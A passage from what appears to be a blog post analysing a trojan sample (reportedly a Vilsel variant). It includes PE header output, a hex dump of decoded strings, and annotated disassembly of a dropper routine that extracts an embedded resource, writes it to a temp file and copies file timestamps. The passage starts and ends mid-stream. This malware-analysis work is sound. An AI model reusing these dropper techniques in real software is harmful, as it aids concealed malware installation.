00 00 00 00 00 00 00 00 00 00 00 00 00 00 ep_only = false section_start_only = true [l.exe Section(4/4,.rsrc)] signature = 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 a0 00 00 80 20 00 00 80 02 00 00 00 38 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 50 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 68 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 09 04 00 00 ep_only = false section_start_only = true Done ----------DOS_HEADER---------- [IMAGE_DOS_HEADER] e_magic: 0x5A4D e_cblp: 0x90 e_cp: 0x3 e_crlc: 0x0 e_cparhdr: 0x4 e_minalloc: 0x0 e_maxalloc: 0xFFFF e_ss: 0x0 e_sp: 0xB8 e_csum: 0x0 e_ip: 0x0 e_cs: 0x0 e_lfarlc: 0x40 e_ovno: 0x0 e_res: e_oemid: 0x0 e_oeminfo: 0x0 e_res2: e_lfanew: 0xF8 ----------NT_HEADERS---------- [IMAGE_NT_HEADERS] Signature: 0x4550 ----------FILE_HEADER---------- [IMAGE_FILE_HEADER] Machine: 0x14C NumberOfSections: 0x4 TimeDateStamp: 0x4C89D17F [Fri Sep 10 06:34:39 2010 UTC] PointerToSymbolTable: 0x0 NumberOfSymbols: 0x0 SizeOfOptionalHeader: 0xE0 Characteristics: 0x10F Flags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, IMAGE_FILE_RELOCS_STRIPPED ----------OPTIONAL_HEADER---------- [IMAGE_OPTIONAL_HEADER] Magic: 0x10B MajorLinkerVersion: 0x7 MinorLinkerVersion: 0xA SizeOfCode: 0x1400 SizeOfInitializedData: 0xB200 SizeOfUninitializedData: 0x0 AddressOfEntryPoint: 0x221C BaseOfCode: 0x1000 BaseOfData: 0x3000 ImageBase: 0x400000 SectionAlignment: 0x1000 FileAlignment: 0x200 MajorOperatingSystemVersion: 0x4 MinorOperatingSystemVersion: 0x0 MajorImageVersion: 0x0 MinorImageVersion: 0x0 MajorSubsystemVersion: 0x4 MinorSubsystemVersion: 0x0 Reserved1: 0x0 SizeOfImage: 0x10000 SizeOfHeaders: 0x400 CheckSum: 0x0 Subsystem: 0x2 DllCharacteristics: 0x0 SizeOfStackReserve: 0x100000 SizeOfStackCommit: 0x1000 SizeOfHeapReserve: 0x100000 SizeOfHeapCommit: 0x1000 LoaderFlags: 0x0 NumberOfRvaAndSizes: 0x10 DllCharacteristics: ----------PE Sections---------- [IMAGE_SECTION_HEADER] Name: .text Misc: 0x13F4 Misc_PhysicalAddress: 0x13F4 Misc_VirtualSize: 0x13F4 VirtualAddress: 0x1000 SizeOfRawData: 0x1400 PointerToRawData: 0x400 PointerToRelocations: 0x0 PointerToLinenumbers: 0x0 NumberOfRelocations: 0x0 NumberOfLinenumbers: 0x0 Characteristics: 0x60000020 Flags: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ Entropy: 6.204615 (Min=0.0, Max=8.0) MD5 hash: bfda5bd697813445265b021ff092b190 SHA-1 hash: 173b6e830610269954c8644d20486eaba91d4edd SHA-256 hash: fd6473457dc54066784210a106ceb6493dbb8505b20e1522526d4d646eb880c0 SHA-512 hash: b72ae8257a1f665b06c17d7db4529f898ef2f3ef39395bc34829953b776e536c 3fe80a584d5732af53878f22c4a0b89d592f03a2d919b36b4d9122215d148b3c [IMAGE_SECTION_HEADER] Name: .rdata Misc: 0x298 Misc_PhysicalAddress: 0x298 Misc_VirtualSize: 0x298 VirtualAddress: 0x3000 SizeOfRawData: 0x400 PointerToRawData: 0x1800 PointerToRelocations: 0x0 PointerToLinenumbers: 0x0 NumberOfRelocations: 0x0 NumberOfLinenumbers: 0x0 Characteristics: 0x40000040 Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ Entropy: 3.364436 (Min=0.0, Max=8.0) MD5 hash: 824c8a3510d93a78cdb8695922939741 SHA-1 hash: d60002fa765f89076e7cd0c4310be0449ca5d02c SHA-256 hash: ab424791cb649a748237215a658252c0d9259f390ec97ac484c5944ab649bd16 SHA-512 hash: 239f201a5784cd74c999910113a9ad8f969c8040a2c2ff36dc2b15644c72c364 1c4c6df791d65642102d734b6586cfa6a95b1153c3f72cd6a07c5cbeccc3478f [IMAGE_SECTION_HEADER] Name: .data Misc: 0xEC Misc_PhysicalAddress: 0xEC Misc_VirtualSize: 0xEC VirtualAddress: 0x4000 SizeOfRawData: 0x200 PointerToRawData: 0x1C00 PointerToRelocations: 0x0 PointerToLinenumbers: 0x0 NumberOfRelocations: 0x0 NumberOfLinenumbers: 0x0 Characteristics: 0xC0000040 Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ Entropy: 0.020393 (Min=0.0, Max=8.0) MD5 hash: 598e1aae6ecbd8237c4383f4be94b9f1 SHA-1 hash: ab4a6d7509b109b24572e011b0696647c7af25f0 SHA-256 hash: f60983e21c9cca08114b490d798ca0c0435a6857fd6176a2da8222694af0e852 SHA-512 hash: 0a74c867644d10bcfb2921fb7a69f0aeee69c519b655e5829d37904d0cc32b30 ddd3a545d02fa83571c2750952b55cc2d7dc2a3c18691ace0b4fc534bb278ac6 [IMAGE_SECTION_HEADER] Name: .rsrc Misc: 0xABB0 Misc_PhysicalAddress: 0xABB0 Misc_VirtualSize: 0xABB0 VirtualAddress: 0x5000 SizeOfRawData: 0xAC00 PointerToRawData: 0x1E00 PointerToRelocations: 0x0 PointerToLinenumbers: 0x0 NumberOfRelocations: 0x0 NumberOfLinenumbers: 0x0 Characteristics: 0x40000040 Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ Entropy: 7.990610 (Min=0.0, Max=8.0) MD5 hash: 25fd8acca1c403ecd520139d1a86cb23 SHA-1 hash: 7edd48c7c153987cb95f4696b1585e407038e5d7 SHA-256 hash: 2f8d2a24c1fb63346402dc9783b87ee3f72f8f125b459dab9e74e4120986f000 SHA-512 hash: 8271d44aaa437634976359020509c51d602d17cb793b4588c8c202fb90464d3d e1ab243ff0ce0bdb8f27100e1c5ba5d915de7d60c9b49b2f68743ab6eed7badb ----------Directories---------- [IMAGE_DIRECTORY_ENTRY_EXPORT] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_IMPORT] VirtualAddress: 0x3094 Size: 0x3C [IMAGE_DIRECTORY_ENTRY_RESOURCE] VirtualAddress: 0x5000 Size: 0xABB0 [IMAGE_DIRECTORY_ENTRY_EXCEPTION] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_SECURITY] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_BASERELOC] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_DEBUG] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_COPYRIGHT] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_GLOBALPTR] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_TLS] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_IAT] VirtualAddress: 0x3000 Size: 0x68 [IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR] VirtualAddress: 0x0 Size: 0x0 [IMAGE_DIRECTORY_ENTRY_RESERVED] VirtualAddress: 0x0 Size: 0x0 ----------Imported symbols---------- [IMAGE_IMPORT_DESCRIPTOR] OriginalFirstThunk: 0x30E4 Characteristics: 0x30E4 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] ForwarderChain: 0x0 Name: 0x3190 FirstThunk: 0x3014 MSVCRT.dll.strcpy Hint[698] MSVCRT.dll._except_handler3 Hint[202] MSVCRT.dll.memset Hint[665] MSVCRT.dll._exit Hint[211] MSVCRT.dll._XcptFilter Hint[72] MSVCRT.dll.exit Hint[585] MSVCRT.dll._acmdln Hint[143] MSVCRT.dll.__getmainargs Hint[88] MSVCRT.dll.strcat Hint[694] MSVCRT.dll.__setusermatherr Hint[131] MSVCRT.dll._adjust_fdiv Hint[157] MSVCRT.dll.__p__commode Hint[106] MSVCRT.dll.__p__fmode Hint[111] MSVCRT.dll.__set_app_type Hint[129] MSVCRT.dll._controlfp Hint[183] MSVCRT.dll.strlen Hint[702] MSVCRT.dll.memcpy Hint[663] MSVCRT.dll.malloc Hint[657] MSVCRT.dll._initterm Hint[271] MSVCRT.dll.free Hint[606] [IMAGE_IMPORT_DESCRIPTOR] OriginalFirstThunk: 0x30D0 Characteristics: 0x30D0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] ForwarderChain: 0x0 Name: 0x328A FirstThunk: 0x3000 KERNEL32.dll.GetProcAddress Hint[408] KERNEL32.dll.GetModuleHandleA Hint[375] KERNEL32.dll.IsBadReadPtr Hint[553] KERNEL32.dll.GetStartupInfoA Hint[431] ----------Resource directory---------- [IMAGE_RESOURCE_DIRECTORY] Characteristics: 0x0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] MajorVersion: 0x0 MinorVersion: 0x0 NumberOfNamedEntries: 0x1 NumberOfIdEntries: 0x1 Name: [RESBIN] [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x800000A0 OffsetToData: 0x80000020 [IMAGE_RESOURCE_DIRECTORY] Characteristics: 0x0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] MajorVersion: 0x0 MinorVersion: 0x0 NumberOfNamedEntries: 0x0 NumberOfIdEntries: 0x1 Id: [0x1] [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x1 OffsetToData: 0x80000050 [IMAGE_RESOURCE_DIRECTORY] Characteristics: 0x0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] MajorVersion: 0x0 MinorVersion: 0x0 NumberOfNamedEntries: 0x0 NumberOfIdEntries: 0x1 [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x409 OffsetToData: 0x80 [IMAGE_RESOURCE_DATA_ENTRY] OffsetToData: 0x50B0 Size: 0x400 CodePage: 0x0 Reserved: 0x0 Id: [0x2] (RT_BITMAP) [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x2 OffsetToData: 0x80000038 [IMAGE_RESOURCE_DIRECTORY] Characteristics: 0x0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] MajorVersion: 0x0 MinorVersion: 0x0 NumberOfNamedEntries: 0x0 NumberOfIdEntries: 0x1 Id: [0x1] [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x1 OffsetToData: 0x80000068 [IMAGE_RESOURCE_DIRECTORY] Characteristics: 0x0 TimeDateStamp: 0x0 [Thu Jan 01 00:00:00 1970 UTC] MajorVersion: 0x0 MinorVersion: 0x0 NumberOfNamedEntries: 0x0 NumberOfIdEntries: 0x1 [IMAGE_RESOURCE_DIRECTORY_ENTRY] Name: 0x409 OffsetToData: 0x90 [IMAGE_RESOURCE_DATA_ENTRY] OffsetToData: 0x54B0 Size: 0xA6FC CodePage: 0x0 Reserved: 0x0
The take-away from the reports are
- There may or may not be anti VM techniques inside the binary
- The import table and strings looks pretty harmless
- the PE may be packed with Microsoft Visual C++ v6.0
- Anti debugger trick using GetProcAddress() ?
- The malware seems to be recognized by a few AV products (time of writing : january 2011). McAfee identifiies it as a non self-replicating trojan named Vilsel. As you will discover in this post, the one McAfee discovered is not the one we have caughtand are analyzing. This one might be a mutated form or just something that carries some of the Vilsel signatures.
So let’s just load it in a debugger & see what we can find.
When the executable launches, it does what we could expect from a typically normal C(++) console application : the default SEH handler is put in place, and application arguments (if any) are read from command line. Next, at 0x0040234B, it jumps to main()
In the main() function some memory gets allocated using a malloc(0x1000) call, and then a function is called which performs GetModuleHandleA() (basically retrieving its own baseaddress and storing the pointer in EAX). Next, more memory is allocated (malloc(0x6414)). Then, memory at [EDI] is filled with "0x20 0x20 0x20 0x20" (3F1 dwords) .
It then uses an iteration to overwrite these "space" bytes with new bytes… new payload? Or just an unpack routine ? Let’s see…
00339D28 C6 01 D7 01 E3 01 ED 01 Æ×ãí 00339D30 FE 01 0A 02 19 02 25 02 þ.% 00339D38 3F 02 4B 02 5E 02 73 02 ?K^s 00339D40 86 02 97 02 A4 02 B2 02 †—¤² 00339D48 BE 02 CF 02 DA 02 E7 02 ¾ÏÚç 00339D50 F3 02 04 03 0A 03 1B 03 ó. 00339D58 2B 03 38 03 47 03 53 03 +8GS 00339D60 5D 03 70 03 7D 03 89 03 ]p}‰ 00339D68 97 03 A4 03 B1 03 BE 03 —¤±¾ 00339D70 CD 03 DD 03 E9 03 F5 03 ÍÝéõ 00339D78 70 6E 65 6E 33 32 36 30 pnen3260 00339D80 2E 64 6C 6C 00 63 61 6C .dll.cal 00339D88 63 00 6F 73 6B 00 61 64 c.osk.ad 00339D90 76 61 70 69 33 32 00 5F vapi32._ 00339D98 21 52 4B 55 23 50 4E 50 !RKU#PNP 00339DA0 23 30 39 30 39 32 31 21 #090921! 00339DA8 5F 00 52 45 53 42 49 4E _.RESBIN 00339DB0 00 43 4C 53 49 44 5C 00 .CLSID\. 00339DB8 33 32 2E 00 53 4F 46 54 32..SOFT 00339DC0 57 41 52 45 5C 4D 69 63 WARE\Mic 00339DC8 72 6F 73 6F 66 74 5C 57 rosoft\W 00339DD0 69 6E 64 6F 77 73 5C 43 indows\C 00339DD8 75 72 72 65 6E 74 56 65 urrentVe 00339DE0 72 73 69 6F 6E 5C 53 68 rsion\Sh 00339DE8 65 6C 6C 53 65 72 76 69 ellServi 00339DF0 63 65 4F 62 6A 65 63 74 ceObject 00339DF8 44 65 6C 61 79 4C 6F 61 DelayLoa 00339E00 64 00 41 70 61 72 74 6D d.Apartm 00339E08 65 6E 74 00 7B 41 44 32 ent.{AD2 00339E10 36 41 43 35 46 2D 38 34 6AC5F-84 00339E18 32 31 2D 34 31 39 43 2D 21-419C- 00339E20 38 36 39 32 2D 45 44 31 8692-ED1 00339E28 46 45 37 34 44 30 46 45 FE74D0FE 00339E30 38 7D 00 54 68 72 65 61 8}.Threa 00339E38 64 69 6E 67 4D 6F 64 65 dingMode 00339E40 6C 00 52 65 61 6C 43 6F l.RealCo 00339E48 64 65 63 00 53 68 65 6C dec.Shel 00339E50 6C 5F 54 72 61 79 57 6E l_TrayWn 00339E58 64 00 6E 74 64 6C 6C 00 d.ntdll. 00339E60 52 74 6C 41 64 6A 75 73 RtlAdjus 00339E68 74 50 72 69 76 69 6C 65 tPrivile 00339E70 67 65 00 75 73 65 72 33 ge.user3 00339E78 32 00 47 65 74 54 61 73 2.GetTas 00339E80 6B 6D 61 6E 57 69 6E 64 kmanWind 00339E88 6F 77 00 72 6D 6F 63 33 ow.rmoc3 00339E90 32 36 30 2E 74 6C 62 00 260.tlb. 00339E98 61 74 72 63 33 32 2E 64 atrc32.d 00339EA0 6C 6C 00 25 50 72 6F 67 ll.%Prog 00339EA8 72 61 6D 46 69 6C 65 73 ramFiles 00339EB0 25 5C 52 65 61 6C 5C 00 %\Real\. 00339EB8 25 53 79 73 74 65 6D 52 %SystemR 00339EC0 6F 6F 74 25 5C 73 79 73 oot%\sys 00339EC8 74 65 6D 33 32 5C 00 73 tem32\.s 00339ED0 66 63 2E 64 6C 6C 00 53 fc.dll.S 00339ED8 66 63 49 73 46 69 6C 65 fcIsFile 00339EE0 50 72 6F 74 65 63 74 65 Protecte 00339EE8 64 00 50 6C 75 67 69 6E d.Plugin 00339EF0 32 61 2E 53 65 63 74 69 2a.Secti 00339EF8 6F 6E 00 46 69 6E 64 57 on.FindW 00339F00 69 6E 64 6F 77 41 00 61 indowA.a 00339F08 63 74 78 70 72 78 79 2E ctxprxy. 00339F10 64 6C 6C 00 6B 65 72 6E dll.kern 00339F18 65 6C 33 32 2E 64 6C 6C el32.dll 00339F20 00 5C 49 6E 70 72 6F 63 .\Inproc 00339F28 53 65 72 76 65 72 33 32 Server32 00339F30 00 47 65 74 54 65 6D 70 .GetTemp 00339F38 50 61 74 68 41 00 47 65 PathA.Ge 00339F40 74 54 65 6D 70 46 69 6C tTempFil 00339F48 65 4E 61 6D 65 41 00 43 eNameA.C 00339F50 6C 6F 73 65 48 61 6E 64 loseHand 00339F58 6C 65 00 43 6F 70 79 46 le.CopyF 00339F60 69 6C 65 41 00 43 72 65 ileA.Cre 00339F68 61 74 65 44 69 72 65 63 ateDirec 00339F70 74 6F 72 79 41 00 43 72 toryA.Cr 00339F78 65 61 74 65 46 69 6C 65 eateFile 00339F80 41 00 43 72 65 61 74 65 A.Create 00339F88 50 72 6F 63 65 73 73 41 ProcessA 00339F90 00 44 65 6C 65 74 65 46 .DeleteF 00339F98 69 6C 65 41 00 45 78 70 ileA.Exp 00339FA0 61 6E 64 45 6E 76 69 72 andEnvir 00339FA8 6F 6E 6D 65 6E 74 53 74 onmentSt 00339FB0 72 69 6E 67 73 41 00 46 ringsA.F 00339FB8 72 65 65 4C 69 62 72 61 reeLibra 00339FC0 72 79 00 47 65 74 46 69 ry.GetFi 00339FC8 6C 65 41 74 74 72 69 62 leAttrib 00339FD0 75 74 65 73 41 00 47 65 utesA.Ge 00339FD8 74 46 69 6C 65 41 74 74 tFileAtt 00339FE0 72 69 62 75 74 65 73 45 ributesE 00339FE8 78 41 00 47 65 74 4D 6F xA.GetMo 00339FF0 64 75 6C 65 46 69 6C 65 duleFile 00339FF8 4E 61 6D 65 41 00 47 65 NameA.Ge 0033A000 74 54 68 72 65 61 64 43 tThreadC 0033A008 6F 6E 74 65 78 74 00 49 ontext.I 0033A010 73 42 61 64 52 65 61 64 sBadRead 0033A018 50 74 72 00 4D 61 70 56 Ptr.MapV 0033A020 69 65 77 4F 66 46 69 6C iewOfFil 0033A028 65 00 4D 6F 76 65 46 69 e.MoveFi 0033A030 6C 65 45 78 41 00 4F 70 leExA.Op 0033A038 65 6E 46 69 6C 65 4D 61 enFileMa 0033A040 70 70 69 6E 67 41 00 4F ppingA.O 0033A048 70 65 6E 4D 75 74 65 78 penMutex 0033A050 41 00 52 65 73 75 6D 65 A.Resume 0033A058 54 68 72 65 61 64 00 53 Thread.S 0033A060 65 74 46 69 6C 65 54 69 etFileTi 0033A068 6D 65 00 53 65 74 54 68 me.SetTh 0033A070 72 65 61 64 43 6F 6E 74 readCont 0033A078 65 78 74 00 53 6C 65 65 ext.Slee 0033A080 70 00 54 65 72 6D 69 6E p.Termin 0033A088 61 74 65 50 72 6F 63 65 ateProce 0033A090 73 73 00 55 6E 6D 61 70 ss.Unmap 0033A098 56 69 65 77 4F 66 46 69 ViewOfFi 0033A0A0 6C 65 00 56 69 72 74 75 le.Virtu 0033A0A8 61 6C 41 6C 6C 6F 63 00 alAlloc. 0033A0B0 56 69 72 74 75 61 6C 41 VirtualA 0033A0B8 6C 6C 6F 63 45 78 00 56 llocEx.V 0033A0C0 69 72 74 75 61 6C 46 72 irtualFr 0033A0C8 65 65 00 57 72 69 74 65 ee.Write 0033A0D0 46 69 6C 65 00 57 72 69 File.Wri 0033A0D8 74 65 50 72 6F 63 65 73 teProces 0033A0E0 73 4D 65 6D 6F 72 79 00 sMemory. 0033A0E8 4C 6F 61 64 4C 69 62 72 LoadLibr 0033A0F0 61 72 79 41 00 45 78 69 aryA.Exi 0033A0F8 74 50 72 6F 63 65 73 73 tProcess 0033A100 00 46 69 6E 64 52 65 73 .FindRes 0033A108 6F 75 72 63 65 41 00 46 ourceA.F 0033A110 72 65 65 52 65 73 6F 75 reeResou 0033A118 72 63 65 00 4C 6F 61 64 rce.Load 0033A120 52 65 73 6F 75 72 63 65 Resource 0033A128 00 4C 6F 63 6B 52 65 73 .LockRes 0033A130 6F 75 72 63 65 00 53 69 ource.Si 0033A138 7A 65 6F 66 52 65 73 6F zeofReso 0033A140 75 72 63 65 00 52 65 67 urce.Reg 0033A148 43 72 65 61 74 65 4B 65 CreateKe 0033A150 79 45 78 41 00 52 65 67 yExA.Reg 0033A158 43 6C 6F 73 65 4B 65 79 CloseKey 0033A160 00 52 65 67 4F 70 65 6E .RegOpen 0033A168 4B 65 79 41 00 52 65 67 KeyA.Reg 0033A170 53 65 74 56 61 6C 75 65 SetValue 0033A178 45 78 41 00 00 ExA..
Awwww – no payload, but not "harmless" either… Those look like strings, filenames, function names, reg keys, paths, etc to me…
At this point, the l.exe does not seem to be packed or anything (which probably would flag detection tools right away)
Next, pointers to the following functions are retrieved and pointers are stored at 00404024 + offset:
- GetTempPathA
- GetTempFileNameA
- CloseHandle
- CopyFileA
- CreateDirectoryA
- CreateFileA
- CreateProcessA
- DeleteFileA
- ExpandEnvironmentStringsA
- FreeLibrary
(and so on, basically getting pointers for all of the functions that were put in memory earlier, and storing the function pointers somewhere in memory :
Next, the binary loads advapi32.dll and rpcrt4.dll, and uses GetProcAddress to get the pointer to RegCreateKeyExA(), RegCloseKey(), RegOpenKeyA(), RegSetValueExA(),
Then, memset() is called (9x9BB bytes), effectively clearing part of the memory location that was used to hold all function names, regkeys, paths, etc.
After memset is executed, we see that part of the memory block was cleared :
Then, kernel32.GetTempPathA() is executed, followed by kernel32.GetTempFileNameA()
After GetTempPathA, the location of the temp folder under C:\Documents and Settings\
Next, the following routine is called :
This routine will verify that the process has read access to the specified memory range (the memory block used to hold function names, etc), and then retrieves a pointer to one of the strings from that array into EAX. (FindWindowA), and puts it onto the stack. It then runs the same routine again, retrieves a pointer to string "user32". Basically, this routine will retrieve pointers to strings in the array that was built earlier. This routine will be used many times in the binary.
Next, LoadLibrary() is used to load user32.dll
Then the function pointer of user32.FindWindowsA is retrieved
Next, a pointer to the temporary filename that was retrieved earlier is placed on the stack,
and the routine at 0x00401438 is called. In that routine, we see the following actions :
00401538 /$ 55 PUSH EBP 00401539 |. 8BEC MOV EBP,ESP 0040153B |. 81EC 34010000 SUB ESP,134 00401541 |. 53 PUSH EBX 00401542 |. 56 PUSH ESI 00401543 |. 57 PUSH EDI 00401544 |. 6A 02 PUSH 2 00401546 |. 33F6 XOR ESI,ESI 00401548 |. 6A 01 PUSH 1 0040154A |. 56 PUSH ESI 0040154B |. 8975 FC MOV DWORD PTR SS:[EBP-4],ESI 0040154E |. FF15 AC404000 CALL DWORD PTR DS:[4040AC] ; kernel32.FindResourceA 00401554 |. 8BF8 MOV EDI,EAX 00401556 |. 57 PUSH EDI 00401557 |. 56 PUSH ESI 00401558 |. FF15 B4404000 CALL DWORD PTR DS:[4040B4] ; kernel32.LoadResource 0040155E |. 8BD8 MOV EBX,EAX 00401560 |. 3BDE CMP EBX,ESI 00401562 |. 895D F4 MOV DWORD PTR SS:[EBP-C],EBX 00401565 |. 0F84 05010000 JE l.00401670 0040156B |. 3935 20404000 CMP DWORD PTR DS:[404020],ESI 00401571 |. 0F84 F9000000 JE l.00401670 00401577 |. 57 PUSH EDI 00401578 |. 56 PUSH ESI 00401579 |. FF15 BC404000 CALL DWORD PTR DS:[4040BC] ; kernel32.SizeofResource 0040157F |. 53 PUSH EBX 00401580 |. FF15 B8404000 CALL DWORD PTR DS:[4040B8] ; kernel32.SetHandleCount 00401586 |. 6A 04 PUSH 4 00401588 |. 68 00100000 PUSH 1000 0040158D |. 68 00000100 PUSH 10000 ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users" 00401592 |. 56 PUSH ESI 00401593 |. FF15 80404000 CALL DWORD PTR DS:[404080] ; kernel32.VirtualAlloc 00401599 |. 8BF8 MOV EDI,EAX 0040159B |. 3BFE CMP EDI,ESI 0040159D |. 0F84 C6000000 JE l.00401669 004015A3 |. 57 PUSH EDI 004015A4 |. 56 PUSH ESI 004015A5 |. 83C3 28 ADD EBX,28 004015A8 |. 53 PUSH EBX 004015A9 |. E8 0DFEFFFF CALL l.004013BB 004015AE |. 83C4 0C ADD ESP,0C 004015B1 |. 3D 30900000 CMP EAX,9030 004015B6 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 004015B9 |. 0F86 9A000000 JBE l.00401659 004015BF |. 68 E0000000 PUSH 0E0 ; /n = E0 (224.) 004015C4 |. FF35 20404000 PUSH DWORD PTR DS:[404020] ; |src = l.004053D0 004015CA |. 8D87 30900000 LEA EAX,DWORD PTR DS:[EDI+9030] ; | 004015D0 |. 50 PUSH EAX ; |dest 004015D1 |. E8 EE0B0000 CALL <JMP.&MSVCRT.memcpy> ; \memcpy 004015D6 |. 83C4 0C ADD ESP,0C 004015D9 |. 56 PUSH ESI 004015DA |. 56 PUSH ESI 004015DB |. 6A 03 PUSH 3 004015DD |. 56 PUSH ESI 004015DE |. 56 PUSH ESI 004015DF |. 68 000000C0 PUSH C0000000 004015E4 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] 004015E7 |. FF15 38404000 CALL DWORD PTR DS:[404038] ; kernel32.CreateFileA 004015ED |. 8BD8 MOV EBX,EAX 004015EF |. 83FB FF CMP EBX,-1 004015F2 |. 74 65 JE SHORT l.00401659 004015F4 |. 56 PUSH ESI 004015F5 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004015F8 |. 50 PUSH EAX 004015F9 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] 004015FC |. 57 PUSH EDI 004015FD |. 53 PUSH EBX 004015FE |. FF15 8C404000 CALL DWORD PTR DS:[40408C] ; kernel32.WriteFile 00401604 |. 6A 10 PUSH 10 00401606 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 00401609 |. E8 C3FEFFFF CALL l.004014D1 0040160E |. 59 POP ECX 0040160F |. 50 PUSH EAX ; /pModule 00401610 |. FF15 04304000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleHandleA>] ; \GetModuleHandleA 00401616 |. 68 04010000 PUSH 104 0040161B |. 8D8D CCFEFFFF LEA ECX,DWORD PTR SS:[EBP-134] 00401621 |. 51 PUSH ECX 00401622 |. 50 PUSH EAX 00401623 |. FF15 4C404000 CALL DWORD PTR DS:[40404C] ; kernel32.GetModuleFileNameA 00401629 |. 8D45 D0 LEA EAX,DWORD PTR SS:[EBP-30] 0040162C |. 50 PUSH EAX 0040162D |. 56 PUSH ESI 0040162E |. 8D85 CCFEFFFF LEA EAX,DWORD PTR SS:[EBP-134] 00401634 |. 50 PUSH EAX 00401635 |. FF15 48404000 CALL DWORD PTR DS:[404048] ; kernel32.GetFileAttributesExA 0040163B |. 85C0 TEST EAX,EAX 0040163D |. 74 13 JE SHORT l.00401652 0040163F |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C] 00401642 |. 50 PUSH EAX 00401643 |. 8D45 DC LEA EAX,DWORD PTR SS:[EBP-24] 00401646 |. 50 PUSH EAX 00401647 |. 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C] 0040164A |. 50 PUSH EAX 0040164B |. 53 PUSH EBX 0040164C |. FF15 6C404000 CALL DWORD PTR DS:[40406C] ; kernel32.SetFileTime 00401652 |> 53 PUSH EBX 00401653 |. FF15 2C404000 CALL DWORD PTR DS:[40402C] ; kernel32.CloseHandle 00401659 |> 68 00800000 PUSH 8000 0040165E |. 56 PUSH ESI 0040165F |. 57 PUSH EDI 00401660 |. FF15 88404000 CALL DWORD PTR DS:[404088] ; kernel32.VirtualFree 00401666 |. 8B5D F4 MOV EBX,DWORD PTR SS:[EBP-C] 00401669 |> 53 PUSH EBX 0040166A |. FF15 B0404000 CALL DWORD PTR DS:[4040B0] ; kernel32.FreeResource 00401670 |> 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00401673 |. 5F POP EDI 00401674 |. 5E POP ESI 00401675 |. 5B POP EBX 00401676 |. C9 LEAVE 00401677 \. C3 RETN
The code calls the following functions :
- FindResource
- LoadResource
- SizeOfResource
- SetHandleCount
- VirtualAlloc (in our analysis it allocates memory at 0x00370000)
- call to 004013BB (in that routine, memory is set to 0x20 again, and then populated with what appears to be the hex dump of an executable)
- memcpy (taking 0xE4 bytes from 004053D0 and writing it to 00379030, which – at that time, contains the string "Fuck")
After the memcpy, the memory area looks like this :
- CreateFileA
- WriteFile
- GetModuleHandleA (of user32.dll)
- GetModuleFileNameA
- GetFileAttributesExA (of user32.dll)
- SetFileTime
- CloseHandle
- VirtualFree
- FreeResource
To cut a long story short, the application decodes/writes some "stuff" in memory and then creates a tmp file under C:\Documents and Settings\
(Don’t pay attention to the filename itself, the filename might be different if you are doing this on your own system. We’ll just refer to this file as the .tmp file).
Quick analysis of the tmp file header shows this :
